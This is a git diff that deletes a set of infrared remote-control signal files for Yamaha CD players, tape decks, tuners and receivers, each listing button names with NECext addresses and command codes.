a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir deleted file mode 100644 index 68624c950..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 03 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: TIME_DISPLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir deleted file mode 100644 index 69b94c98d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_APE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: CDV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir deleted file mode 100644 index 794ed92c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: SEARCH_REVERSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0B 00 00 00 -# -name: INTRO_SCAN_FORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1E 00 00 00 -# -name: INTRO_SCAN_REVERSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir deleted file mode 100644 index 4260bc8e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tuner+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tuner- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: tuner-toggle -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir deleted file mode 100644 index 02dac1653..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REVERSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FAST_FORWARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_RECORD/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: TAPE_DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIR_DECK_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE/STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FORWARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_REVERSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FORWARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_REVERSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PHONO_PLAY/CUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: TUNER_PRESET_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_A/B/C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: CDV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIR_DECK_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir deleted file mode 100644 index d508ee7e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FFWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: TAPE_DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE/STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: TUNER_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: LD_V -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_2/VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_1/DAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISK_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: DELAY_TIME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: DELAY_TIME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: DSP_EFFECT_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5E 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: FRONT_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 80 00 00 00 -# -name: FRONT_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 81 00 00 00 -# -name: CENTRE_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 82 00 00 00 -# -name: CENTRE_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 83 00 00 00 -# -name: DSP_CENTRE_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: DSP_TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: DSP_PRO_LOGIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: DSP_PRO_LOGIC_ENH. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: DSP_CNCT_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: DSP_ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: DSP_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir deleted file mode 100644 index 2155ac071..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: P1t8P9t16P17t24 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0D 00 00 00 -# -name: P1P9P17 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0E 00 00 00 -# -name: P2P10P18 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0F 00 00 00 -# -name: P3P11P19 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 10 00 00 00 -# -name: P4P12P20 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 11 00 00 00 -# -name: P5P13P21 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 12 00 00 00 -# -name: P6P14P22 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 13 00 00 00 -# -name: P7P15P23 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 14 00 00 00 -# -name: P8P16P24 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir deleted file mode 100644 index 5166e67a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tape_play -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: tape_bwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: tape_fwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: deck_a/b -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: tape_dir_a -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: cd_pause/stop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: cd_fwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: cd_bwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: cd_searc_fwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: cd_search_bwd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: tuner_preset+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: tuner_preset- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: tuner_abcde -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: cd/dvd -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: md -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: tape_dir_b -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: cd_disc_skip -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir deleted file mode 100644 index 4823c1c7f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 13 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 14 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir deleted file mode 100644 index 7057a3cf7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: SEARCH_REVERSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0C 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0D 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 19 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1B 00 00 00 -# -name: RUN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1C 00 00 00 -# -name: REMAIN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1D 00 00 00 -# -name: INTRO_SCAN_FORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1E 00 00 00 -# -name: INTRO_SCAN_REVERSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir deleted file mode 100644 index 1c431f66f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_REVERSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: OUTPUT_LEVEL_DOWN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_LEVEL_UP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir deleted file mode 100644 index 9155b4062..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_REVERSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_REVERSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: 